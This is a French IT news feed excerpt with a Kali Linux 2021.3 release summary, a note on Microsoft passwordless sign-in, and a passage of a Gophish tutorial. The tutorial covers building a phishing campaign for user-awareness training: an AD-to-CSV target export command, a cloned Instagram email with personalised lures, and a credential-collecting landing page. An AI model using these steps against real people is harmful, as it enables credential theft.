# articles

feed_id: https://www.it-connect.fr/?p=46176
title: Quelles sont les nouveautés de Kali Linux 2021.3 ?
uri: Quelles-sont-les-nouveautés-de-Kali-Linux-2021-3
url: https://www.it-connect.fr/quelles-sont-les-nouveautes-de-kali-linux-2021-3/
content:
<p><strong>Offensive Security a mis en ligne Kali Linux 2021.3 ! Découvrons ensemble les nouveautés principales de cette nouvelle mouture.</strong></p>
<p>Pour rappel, Kali Linux est une distribution basée sur Debian qui intègre de nombreux outils liés à la sécurité informatique, que ce soit pour de l'audit, de l'analyse, mais aussi des tests de pénétration. Au-delà des améliorations apportées à la distribution directement, c'est le site Kali Tools qui s'est refait une beauté.</p>
<h2>Les nouveaux outils de Kali Linux 2021.3</h2>
<p>Commençons par la liste des nouveaux outils intégrés à Kali Linux 2021.3, puisque nous avons le droit à quelques nouveautés comme lors de la sortie de la version 2021.2.</p>
<ul>
<li><a href="https://github.com/sensepost/berate_ap" target="_blank" rel="nofollow noopener">Berate_ap</a> : outil pour créer des points d'accès Wi-Fi malveillants (rogue AP MANA)</li>
<li><a href="https://github.com/mitre/caldera" target="_blank" rel="nofollow noopener">CALDERA</a> : un framework conçu pour créer des simulations d'attaques, entre autres</li>
<li><a href="https://github.com/s0lst1c3/eaphammer" target="_blank" rel="nofollow noopener">EAPHammer</a> : outil pour attaquer les réseaux Wi-Fi "WPA2-Enterprise"</li>
<li><a href="https://github.com/SpiderLabs/HostHunter" target="_blank" rel="nofollow noopener">HostHunter</a> : outil de reconnaissance pour détecter les noms d'hôtes via les techniques d'OSINT</li>
<li><a href="https://github.com/routerkeygen/routerkeygenPC" target="_blank" rel="nofollow noopener">RouterKeygenPC</a> : un outil pour générer les clés Wi-Fi WPA/WEP par défaut de certains routeurs</li>
<li><a href="https://github.com/haccer/subjack" target="_blank" rel="nofollow noopener">Subjack</a> : un outil pour analyser et détecter les sous-domaines vulnérables</li>
<li><a href="https://github.com/sensepost/wpa_sycophant" target="_blank" rel="nofollow noopener">WPA_Sycophant</a> : un outil pour attaquer un réseau Wi-Fi grâce à une attaque par relai</li>
</ul>
<figure id="attachment_46177" aria-describedby="caption-attachment-46177" style="width: 800px" class="wp-caption aligncenter"><img class="wp-image-46177 size-large" src="media/daca0dec.kali-linux-2021.3-bureau-800x450.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/kali-linux-2021.3-bureau-800x450.jpg" alt="Kali Linux 2021.3" width="800" height="450" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/kali-linux-2021.3-bureau-800x450.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/kali-linux-2021.3-bureau-550x310.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/kali-linux-2021.3-bureau-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/kali-linux-2021.3-bureau-768x432.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/kali-linux-2021.3-bureau-160x90.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/kali-linux-2021.3-bureau-50x28.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/kali-linux-2021.3-bureau.jpg 1000w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46177" class="wp-caption-text">Kali Linux 2021.3</figcaption></figure>
<h2>OpenSSL : tous les protocoles obsolètes sont actifs</h2>
<p>Tout d'abord, Offensive Security a revu l'intégration d'OpenSSL au sein de Kali Linux. Alors que sur une machine de production il est préférable de ne pas activer les protocoles non sécurisés comme TLS 1.0 et TLS 1.1, sur cette distribution Linux, c'est différent. Afin de pouvoir cibler des périphériques obsolètes, il est nécessaire de les activer, c'est ce qui est fait avec cette nouvelle version.</p>
<p>En résumé, au sein de Kali Linux 2021.3, OpenSSL est configuré de manière à être compatible avec un plus grand nombre de configurations.</p>
<h2>La virtualisation mieux supportée</h2>
<p>Si vous utilisez Kali Linux dans une machine virtuelle, sachez que les développeurs ont amélioré le support dans les différents environnements de virtualisation (VMware, VirtualBox, Hyper-V). <strong>L'image Live peut être utilisée sur une VM et bénéficier de fonctions d'intégration sans installer les VMware Tools</strong> (ou équivalent). Par exemple, vous pouvez bénéficier du copier-coller nativement, ou redimensionner la fenêtre de la VM sans avoir à gérer la résolution manuellement.</p>
<p>Enfin, sachez que <strong>cette nouvelle version supporte mieux les architectures ARM</strong> puisque différents bugs ont été corrigés.</p>
<p>Rendez-vous sur <a href="https://www.kali.org/blog/kali-linux-2021-3-release/" target="_blank" rel="nofollow noopener">le site Kali Linux</a> pour obtenir tous les détails.</p>The post <a href="https://www.it-connect.fr/quelles-sont-les-nouveautes-de-kali-linux-2021-3/">Quelles sont les nouveautés de Kali Linux 2021.3 ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46173
title: L’authentification sans mot de passe disponible sur les services Microsoft !
uri: L-authentification-sans-mot-de-passe-disponible-sur-les-services-Mic
url:
https://www.it-connect.fr/lauthentification-sans-mot-de-passe-disponible-sur-les-services-microsoft/

content:
<p><strong>Dès à présent, vous pouvez supprimer votre mot de passe de votre compte Microsoft afin de choisir une autre méthode d'authentification !</strong></p>
<p>C'est par l'intermédiaire d'<a href="https://blogs.windows.com/windowsexperience/2021/09/15/microsoft-announces-passwordless-future-available-across-microsoft-edge-and-microsoft-365-apps/" target="_blank" rel="nofollow noopener">un article de blog publié par Liat Ben-Zur</a>, Vice-présidente chez Microsoft, que nous apprenons cette information : Microsoft veut que vous puissiez vous connecter à ses services sans utiliser de mots de passe. S'attaquer aux mots de passe, c'est s'attaquer à un éternel problème en matière de sécurité !</p>
<p><strong>Microsoft précise que 579 attaques par mots de passe sont réalisées par seconde dans le monde ! </strong>D'un côté ce n'est pas surprenant puisqu'il faut un mot de passe pour se connecter partout et qu'il y a beaucoup d'utilisateurs qui n'utilisent pas de mots de passe robustes. Du coup, les mots de passe sont une cible de premier choix.</p>
<p>À la place du mot de passe, Microsoft vous propose d'effectuer l'authentification à partir de<strong> Windows Hello</strong>, c'est-à-dire l'authentification biométrique, via l'application mobile <strong>Microsoft Authenticator</strong>, ou alors à partir d'<strong>un code de vérification envoyé par e-mail ou SMS</strong>. Autrement dit, ce sont les options que l'on a actuellement lorsque l'on active la double authentification sur son compte.</p>
<p>Autant, je veux bien croire que ce soit sécurisé et fiable avec Windows Hello ou Microsoft Authenticator, mais par contre je suis sceptique sur le code de vérification envoyé par e-mail ou SMS.</p>
<p>En mars dernier, la firme de Redmond a autorisé les entreprises à déployer l'authentification sans mot de passe dans leurs environnements. Au total, ce sont plus de 150 millions d'utilisateurs qui se connectent à leurs comptes Azure Active Directory et Microsoft sans mot de passe.</p>
<p><strong>L'authentification sans mot de passe est disponible dès maintenant pour tous les utilisateurs</strong>, que ce soit pour se connecter à Microsoft Edge, à son compte Microsoft ou aux services Microsoft 365.</p>
<p>Pour tester avec votre compte Microsoft, installez l'application Microsoft Authenticator sur votre mobile. Ensuite, rendez-vous dans les paramètres du compte puis dans Sécurité &gt; Options de sécurité avancées &gt; Compte sans mot de passe. Pour obtenir de l'aide, consultez cette page : <a href="https://support.microsoft.com/fr-fr/account-billing/passer-sans-mot-de-passe-est-la-nouvelle-g%C3%A9n%C3%A9ration-de-s%C3%A9curit%C3%A9-de-compte-simple-rapide-s%C3%A9curis%C3%A9e-4d4b4267-7d04-4402-9aac-4436a063d004" target="_blank" rel="nofollow noopener">Support Microsoft</a>.</p>
<p><a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-rolls-out-passwordless-login-for-all-microsoft-accounts/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/lauthentification-sans-mot-de-passe-disponible-sur-les-services-microsoft/">L’authentification sans mot de passe disponible sur les services Microsoft !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46109
title: Comment créer une campagne de phishing avec Gophish ?
uri: Comment-créer-une-campagne-de-phishing-avec-Gophish
url: https://www.it-connect.fr/comment-creer-une-campagne-de-phishing-avec-gophish/
content:
<h2>I. Présentation</h2>
<p><strong>Dans ce tutoriel, nous allons voir comment utiliser le framework open source Gophish pour créer une campagne de phishing (hameçonnage) dans le but d'évaluer le niveau de vigilance des utilisateurs.</strong></p>
<p><iframe class="iframe_youtube" title="YouTube video player" src="https://www.youtube.com/embed/Tdpzi8M3Vtw" frameborder="0" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start">﻿</span></iframe></p>
<p>Grâce à Gophish, vous allez pouvoir créer différentes campagnes de phishing et les<strong> diffuser auprès de vos utilisateurs</strong>, dans le but de les <strong>sensibiliser</strong>, de les <strong>entraîner</strong>, afin qu'il soit capable d<strong>'adopter les bons réflexes lorsqu'ils se retrouvent face à un e-mail douteux</strong>.</p>
<p><a href="https://getgophish.com/" target="_blank" rel="noopener">Visiter le site officiel de Gophish</a></p>
<p>Voici les fonctionnalités principales de Gophish :</p>
<ul>
<li>Création d'utilisateurs et de groupes d'utilisateurs (cibles)</li>
<li>Création de template pour les e-mails de vos campagnes</li>
<li>Création de landing page pour vos campagnes (exemple : un formulaire de connexion)</li>
<li>Envoyer des campagnes de phishing avec suivi des e-mails (e-mail envoyé, e-mail ouvert, clic sur le lien, données récoltées via le formulaire) pour chaque utilisateur</li>
<li>Reporting sur les campagnes</li>
<li>API pour interroger Gophish à distance et récupérer des informations</li>
</ul>
<p>Voici à quoi ressemble le tableau de bord de Gophish, accessible à partir d'un navigateur :</p>
<figure id="attachment_46112" aria-describedby="caption-attachment-46112" style="width: 800px" class="wp-caption aligncenter"><img class="wp-image-46112 size-large" src="media/22fd6e2d.gophish-dashboard-01-800x404.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-dashboard-01-800x404.jpg" alt="Tableau de bord de Gophish" width="800" height="404" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-dashboard-01-800x404.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-dashboard-01-550x278.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-dashboard-01-150x76.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-dashboard-01-768x388.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-dashboard-01-160x81.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-dashboard-01-50x25.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-dashboard-01.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46112" class="wp-caption-text">Tableau de bord de Gophish</figcaption></figure>
<p>Bien sûr, un tel outil peut être détourné pour créer des campagnes malveillantes, mais ce n'est clairement pas l'objectif de cet article.</p>
<p>De nombreuses attaques informatiques débutent par un e-mail malveillant et un utilisateur piégé ! <strong>Je vous encourage à utiliser Gophish (ou un autre outil) pour sensibiliser et entraîner vos utilisateurs ! </strong>Rien de mieux que la pratique pour vérifier s'ils ont bien compris la session de formation visant à les sensibiliser.</p>
<p><strong>Remarque</strong> : via Office 365 / Microsoft 365, Microsoft propose une fonctionnalité qui permet de réaliser des campagnes de phishing pour sensibiliser vos utilisateurs. Cela nécessite d'utiliser des licences Microsoft 365 E5.</p>
<h2>II. Rappel : c'est quoi le phishing ?</h2>
<p>Le <strong>phishing</strong>, ou <strong>hameçonnage</strong> en français, est une <strong>technique utilisée dans le cadre d'attaques informatiques</strong> pour inciter l'utilisateur à<strong> communiquer des informations personnelles</strong> (nom d'utilisateur, mot de passe, numéro de carte bancaire, etc.) à partir d'un e-mail, d'un SMS, etc... Qui va rediriger l'utilisateur sur une <strong>page Web malveillante</strong>.</p>
<p>Par exemple,<strong> le pirate informatique va créer une copie</strong> de la page de connexion sur Facebook et il va inclure un lien vers cette copie dans l'e-mail qu'il va envoyer aux utilisateurs ciblés. Si l'utilisateur clique sur le lien, accède à la page et saisit ses informations de connexion, le pirate va récupérer les informations saisies par l'utilisateur. Il peut alors <strong>usurper l'identité de l'utilisateur et se connecter à son compte</strong> Facebook, mais cela fonctionne pour tout autre compte (Google, impôts, banque, etc.).</p>
<figure id="attachment_46115" aria-describedby="caption-attachment-46115" style="width: 800px" class="wp-caption aligncenter"><img class="size-full wp-image-46115" src="media/5fd323e5.exemple-phishing-banque.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exemple-phishing-banque.jpg" alt="" width="800" height="354" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exemple-phishing-banque.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exemple-phishing-banque-550x243.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exemple-phishing-banque-150x66.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exemple-phishing-banque-768x340.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exemple-phishing-banque-160x71.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exemple-phishing-banque-50x22.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46115" class="wp-caption-text">Exemple d'un e-mail de phishing</figcaption></figure>
<h2>III. Installation de Gophish</h2>
<p>L'outil <strong>Gophish est disponible gratuitement</strong> sur Github et il existe des binaires pour Windows, Linux et macOS. Sinon, vous pouvez aussi le compiler vous-même ou utiliser un container Docker pour le tester rapidement.</p>
<ul>
<li><a href="https://github.com/gophish/gophish/releases/" target="_blank" rel="nofollow noopener">Télécharger les binaires Gophish</a></li>
<li><a href="https://docs.getgophish.com/user-guide/installation" target="_blank" rel="noopener">Documentation - Installation de Gophish</a></li>
</ul>
<p>Pour ma part, je vais utiliser le binaire pour Windows. On obtient un ZIP qu'il suffit de décompresser. Ensuite, il faut exécuter "gophish.exe".</p>
<blockquote><p><strong>Note</strong> : <strong>le serveur qui héberge Gophish doit être accessible par les machines de vos utilisateurs</strong> pour que la page Web puisse s'afficher lorsqu'ils vont cliquer sur le lien contenu dans l'e-mail.</p></blockquote>
<p>Par défaut, Gophish s'appuie sur une base de données SQLite, mais il est possible de configurer un serveur MySQL. Le fichier de configuration se nomme "config.json" et il est situé au même endroit que l'exécutable.</p>
<p><img class="aligncenter size-full wp-image-46117" src="media/824dd110.gophish-installation-windows-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-01.png" alt="" width="800" height="236" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-01.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-01-550x162.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-01-150x44.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-01-768x227.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-01-160x47.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-01-50x15.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Au premier démarrage, il y a quelques informations intéressantes à relever :</p>
<ul>
<li>Le compte par défaut se nomme "admin" et le mot de passe généré aléatoirement est communiqué dans la console (il faudra le changer à la première connexion)</li>
<li>L'interface de Gophish pour afficher les pages web de vos campagnes est accessible sur le port 80/HTTP</li>
<li>L'interface d'administration de Gophish est accessible en HTTPS sur le port 3333</li>
</ul>
<figure id="attachment_46116" aria-describedby="caption-attachment-46116" style="width: 800px" class="wp-caption aligncenter"><img class="wp-image-46116 size-large" src="media/23f70feb.gophish-installation-windows-02-800x418.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-02-800x418.png" alt="Démarrage de Gophish" width="800" height="418" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-02-800x418.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-02-550x288.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-02-150x78.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-02-768x402.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-02-160x84.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-02-50x26.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-02-390x205.png 390w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gophish-installation-windows-02.png 981w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46116" class="wp-caption-text">Démarrage de Gophish</figcaption></figure>
<p>Laissez Gophish tourner et connectez-vous sur l'interface d'administration.</p>
<h2>IV. Configuration de Gophish</h2>
<p>Pour se connecter depuis la machine locale, il suffit d'accéder à l'adresse "<strong>https://127.0.0.1:3333</strong>" à partir d'un navigateur. Connectez-vous avec le compte admin et modifiez le mot de passe.</p>
<p><img class="aligncenter size-full wp-image-46118" src="media/0b006040.tuto-gophish-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-01.png" alt="" width="724" height="556" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-01.png 724w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-01-550x422.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-01-150x115.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-01-160x123.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-01-50x38.png 50w" sizes="(max-width: 724px) 100vw, 724px" /></p>
<p>Dans cet exemple, mon objectif est de <strong>créer une campagne de phishing en reprenant un e-mail d'Instagram</strong> qui renvoie vers une page Web avec un formulaire.</p>
<p>Avant de pouvoir envoyer notre première campagne de phishing, il va falloir préparer un certain nombre d'éléments : c'est ce que nous allons faire, étape par étape. Suivez le guide !</p>
<h3>A. Création des utilisateurs et des groupes</h3>
<p>Nous devons commencer par <strong>créer nos utilisateurs et nos groupes.</strong> On peut imaginer qu'un groupe correspond aux utilisateurs d'un service ou d'un site. <strong>Lorsqu'une campagne de phishing sera envoyée, il faudra cibler un ou plusieurs groupes.</strong></p>
<p>Cliquez sur "<strong>Users &amp; Groups</strong>" puis sur "<strong>New Group</strong>".</p>
<p><img class="aligncenter size-full wp-image-46121" src="media/e0579e52.tuto-gophish-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-02.png" alt="" width="794" height="349" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-02.png 794w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-02-550x242.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-02-150x66.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-02-768x338.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-02-160x70.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-02-50x22.png 50w" sizes="(max-width: 794px) 100vw, 794px" /></p>
<p>Nommez votre groupe en renseignant le champ "Name" et ensuite vous avez deux options :</p>
<ul>
<li><strong>Créez vos utilisateurs un par un</strong>, en remplissant le formulaire et en cliquant sur "<strong>Add</strong>". Cela peut vite être chronophage...</li>
<li><strong>Créez vos utilisateurs à l'aide d'un fichier CSV</strong> que vous pouvez importer avec le bouton "<strong>Bulk Import Users</strong>". Cela me plaît un peu plus et de toute façon on ne peut pas établir de connexion avec un annuaire externe.</li>
</ul>
<figure id="attachment_46120" aria-describedby="caption-attachment-46120" style="width: 720px" class="wp-caption aligncenter"><img class="wp-image-46120 size-full" src="media/c33d5b02.tuto-gophish-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-03.png" alt="Importer les utilisateurs dans Gophish" width="720" height="732" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-03.png 720w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-03-550x559.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-03-148x150.png 148w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-03-157x160.png 157w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-03-50x50.png 50w" sizes="(max-width: 720px) 100vw, 720px" /><figcaption id="caption-attachment-46120" class="wp-caption-text">Importer les utilisateurs dans Gophish</figcaption></figure>
<p>On va s'intéresser un peu plus à la deuxième option : l'import CSV. Je ne suis pas trop du genre à faire des saisies en boucle pendant des heures...</p>
<p>D'après le template fourni par Gophish, on doit fournir un fichier CSV avec 4 colonnes et la virgule comme séparateur :</p>
<pre>"First Name","Last Name","Email","Position"</pre>
<p>Je ne sais pas vous, mais j'ai envie de faire <strong>une extraction des comptes de l'Active Directory pour importer les comptes dans Gophish.</strong> On va dire que "<em>First Name</em>" correspond à l'attribut "<em>givenName</em>", "<em>Last Name</em>" à l'attribut "<em>sn</em>", "<em>Email</em>" à l'attribut "<em>mail</em>" et "<em>Position</em>" à l'attribut "<em>Title</em>" des objets utilisateurs.</p>
<p>Pour ce premier groupe, je vais récupérer les utilisateurs de l'OU "<em>OU=Personnel,DC=it-connect,DC=local</em>" et exporter le résultat vers un fichier CSV ("<em>C:\UsersGophish.csv</em>").</p>
<p>En PowerShell, cela me donne la commande suivante (et tant qu'à faire avec les bons noms de colonnes souhaités par Gophish). Adaptez le paramètre <em>-SearchBase</em> et éventuellement le chemin de sortie du CSV.</p>
<pre>Get-ADUser -Filter * -SearchBase "OU=Personnel,DC=it-connect,DC=local" -Properties mail,givenName,sn,title | Select-Object @{n='First Name';e={$_.givenName}},@{n='Last Name';e={$_.sn}},@{n='Email';e={$_.mail}},@{n='Position';e={$_.Title}} | Export-CSV -Path "C:\UsersGophish.csv" -Delimiter "," -NoTypeInformation</pre>
<p>J'obtiens un joli CSV que je n'ai plus qu'à importer.</p>
<figure id="attachment_46122" aria-describedby="caption-attachment-46122" style="width: 673px" class="wp-caption aligncenter"><img class="wp-image-46122 size-full" src="media/d034fc1b.tuto-gophish-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-04.png" alt="Exemple d'un CSV formaté pour Gophish" width="673" height="100" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-04.png 673w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-04-550x82.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-04-150x22.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-04-160x24.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-04-50x7.png 50w" sizes="(max-width: 673px) 100vw, 673px" /><figcaption id="caption-attachment-46122" class="wp-caption-text">Exemple d'un CSV formaté pour Gophish</figcaption></figure>
<blockquote><p><strong>Note</strong> : vous pouvez aussi jeter un œil au script <a href="https://github.com/MD-AlHowsa/GoLDAP" target="_blank" rel="nofollow noopener">GoLDAP</a> qui sert à importer les utilisateurs d'un annuaire LDAP vers Gophish.</p></blockquote>
<p>Les utilisateurs, c'est réglé ! Passons à la suite.</p>
<h3>B. Créer l'e-mail pour la campagne de phishing</h3>
<p>Seconde étape : la création du modèle d'e-mail que l'on va envoyer aux utilisateurs dans le cadre de cette campagne de phishing.</p>
<p>Cliquez à gauche sur "<strong>Email Templates</strong>" puis sur le bouton "<strong>New Template</strong>".</p>
<p><img class="aligncenter size-full wp-image-46127" src="media/567fd119.tuto-gophish-05.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-05.png" alt="" width="800" height="272" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-05.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-05-550x187.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-05-150x51.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-05-768x261.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-05-160x54.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-05-50x17.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p><strong>Pour créer le modèle, vous pouvez partir de zéro ou importer le code HTML d'un e-mail existant</strong> (ce qui est intéressant pour gagner du temps) grâce au bouton "Import Email". Pour cet exemple, j'ai repris un modèle que j'ai trouvé <a href="https://github.com/DeviantSec/GoPhish-Templates/blob/master/Instagram%20Landing%20Page.html" target="_blank" rel="nofollow noopener">ici</a> et que j'ai traduit en français.</p>
<p>Dans tous les cas, je vous recommande d'<strong>utiliser l'éditeur HTML</strong> afin de pouvoir modifier les balises. Lorsque vous cliquez sur le bouton "<strong>Source</strong>", vous pouvez <strong>basculer entre l'affichage du code et la prévisualisation de votre e-mail</strong>. Le bouton le plus à droite permet de prévisualiser l'e-mail dans un nouvel onglet.</p>
<p><img class="aligncenter size-large wp-image-46126" src="media/c49cfb3b.tuto-gophish-06-800x601.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-06-800x601.png" alt="" width="800" height="601" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-06-800x601.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-06-550x413.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-06-150x113.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-06-768x577.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-06-160x120.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-06-50x38.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-06.png 1200w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Pour accéder à tous les boutons de l'éditeur de texte, notamment pour insérer des liens, il faut cliquer sur le bouton "<strong>Source</strong>". Vous pouvez aussi<strong> insérer des balises où la valeur sera dynamique</strong>, notamment pour reprendre le prénom ou le nom de l'utilisateur : avec un "<em>Bonjour Florian</em>", vous avez plus de chance de piéger l'utilisateur qu'avec un simple "<em>Bonjour</em>". À vous de juger le niveau de difficulté que vous souhaitez pour ce premier essai. <img src="media/14cb941f.1f609.png" data-original-source="https://s.w.org/images/core/emoji/13.1.0/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<figure id="attachment_46128" aria-describedby="caption-attachment-46128" style="width: 692px" class="wp-caption aligncenter"><img class="wp-image-46128 size-full" src="media/fbf58a39.tuto-gophish-09.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-09.png" alt="Les champs personnalisés pour Gophish" width="692" height="462" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-09.png 692w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-09-550x367.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-09-150x100.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-09-160x107.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-09-50x33.png 50w" sizes="(max-width: 692px) 100vw, 692px" /><figcaption id="caption-attachment-46128" class="wp-caption-text">Les champs personnalisés pour Gophish</figcaption></figure>
<p>Pour renvoyer vers la landing page qui contient le formulaire, il faut ajouter un lien à l'e-mail. Sur ce lien, il faut indiquer l'URL "<strong>{{.URL}}</strong>" qui sera remplacée par Gophish par la bonne valeur.</p>
<p><img class="aligncenter size-full wp-image-46125" src="media/df881e96.tuto-gophish-07.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-07.png" alt="" width="681" height="312" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-07.png 681w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-07-550x252.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-07-150x69.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-07-160x73.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-07-50x23.png 50w" sizes="(max-width: 681px) 100vw, 681px" /></p>
<p>Mon e-mail est prêt, voici un aperçu :</p>
